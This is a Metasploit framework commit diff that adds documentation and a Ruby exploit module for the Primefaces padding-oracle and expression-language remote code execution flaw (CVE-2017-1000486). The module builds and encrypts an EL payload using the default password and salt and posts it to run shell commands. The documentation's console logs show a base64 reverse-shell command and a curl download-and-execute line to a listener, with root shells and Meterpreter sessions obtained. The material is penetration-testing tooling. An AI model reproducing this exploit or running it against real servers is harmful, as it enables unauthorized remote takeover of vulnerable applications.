Land #19649, Primefaces RCE (CVE-2017-1000486)

rapid7 · Dec 7, 2024 · 0e5cf3f · 0e5cf3f
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diff --git a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md
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+## Vulnerable Application
+
+This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
+Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
+due to the use of weak crypto and default encryption password and salt.
+
+Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:
+
+* `payload/cmd/unix/reverse_jjs`
+* `payload/cmd/unix/reverse_openssl`
+* `payload/cmd/unix/reverse_perl`
+* `payload/cmd/unix/reverse_python` 
+* `payload/cmd/unix/reverse_python_ssl`
+
+### Docker Image
+
+1. `git clone https://github.com/pimps/CVE-2017-1000486`
+2. `cd CVE-2017-1000486/`
+3. `docker build . -t primefaces`
+4. `docker run -p 8090:8080 -t primefaces`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce`
+1. Do: `set rhosts <ip>`
+1. Do: `set verbose true`
+1. Do: `set payload payload/cmd/unix/reverse_jjs`
+1. You should get a shell.
+
+## Options
+
+### PASSWORD
+
+The password to login. Defaults to `primefaces`
+
+## Scenarios
+
+### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application
+
+CMD payload
+
+```
+msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
+[*] No payload configured, defaulting to cmd/unix/reverse_netcat
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
+rport => 8090
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
+verbose => true
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
+payload => cmd/unix/reverse_jjs
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
+
+[*] Started reverse TCP handler on 1.1.1.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Victim evaluates Expression Language expressions
+[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
+[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500
+
+whoami
+root
+```
+
+fetch payload
+
+```
+msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
+[*] No payload configured, defaulting to cmd/unix/reverse_netcat
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
+rport => 8090
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
+verbose => true
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp 
+payload => cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
+
+[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
+[*] Fetch handler listening on 1.1.1.1:8080
+[*] HTTP server started
+[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
+[*] Started reverse TCP handler on 1.1.1.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Victim evaluates Expression Language expressions
+[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
+[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
+[*] Sending payload to 172.17.0.2 (curl/7.64.0)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.17.0.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500
+
+meterpreter > sysinfo
+Computer     : 172.17.0.2
+OS           : Debian 10.10 (Linux 6.11.2-amd64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > getuid
+Server username: root
+```
diff --git a/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb b/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb
@@ -0,0 +1,142 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Primefaces Remote Code Execution Exploit',
+        'Description' => %q{
+          This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
+          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
+          due to the use of weak crypto and default encryption password and salt.
+
+          Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
+          documentation for working payloads.
+        },
+        'Author' => [
+          'Bjoern Schuette', # EDB
+          'h00die' # lots of fixes, documentation, standardization
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2017-1000486'],
+          ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
+          ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
+          ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
+          ['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
+          ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
+          ['EDB', '43733']
+        ],
+        'Payload' => {
+          'BadChars' => '"\'\\' # all threw errors
+        },
+        'Privileged' => true,
+        'DisclosureDate' => '2016-02-15',
+        'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
+        'Arch' => ARCH_CMD,
+        'Targets' => [
+          [
+            'Universal', {},
+          ],
+        ],
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => []
+        }
+      )
+    )
+
+    register_options([
+      Opt::RPORT(80),
+      OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
+      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
+    ])
+  end
+
+  def encrypt_el(password, payload)
+    # el == Java Expression Language
+    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
+    iteration_count = 19
+
+    cipher = OpenSSL::Cipher.new('DES')
+    cipher.encrypt
+    cipher.pkcs5_keyivgen password, salt, iteration_count
+
+    ciphertext = cipher.update payload
+    ciphertext << cipher.final
+    ciphertext
+  end
+
+  def http_send_command(payload_wrapper)
+    encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
+    encrypted_payload = Rex::Text.encode_base64(encrypted_payload)
+
+    # send the payload and execute command
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
+      'vars_post' => {
+        'pfdrt' => 'sc',
+        'ln' => 'primefaces',
+        'pfdrid' => encrypted_payload
+      }
+    })
+
+    res
+  end
+
+  def exploit
+    cmd = payload.encoded
+
+    # good for testing
+    # cmd = "whoami"
+    # error logs will show
+    # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
+    # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
+    payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
+    payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
+    payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
+    payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
+    payload_wrapper << '${session.getAttribute("scriptengine").eval('
+    payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
+    payload_wrapper << 'var proc = null;'
+    payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
+    payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
+    payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
+    payload_wrapper << 'var is = proc.getInputStream();'
+    payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
+    payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
+    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
+    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'
+
+    vprint_status("Attempting to execute: #{cmd}")
+    res = http_send_command(payload_wrapper)
+    fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
+    # successful exploitation gives us no response
+  end
+
+  def check
+    marker = rand_text_alpha_lower(5..9)
+    # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
+    # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
+    payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"
+
+    res = http_send_command(payload_wrapper)
+    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
+    return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker
+
+    Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
+  end
+
+end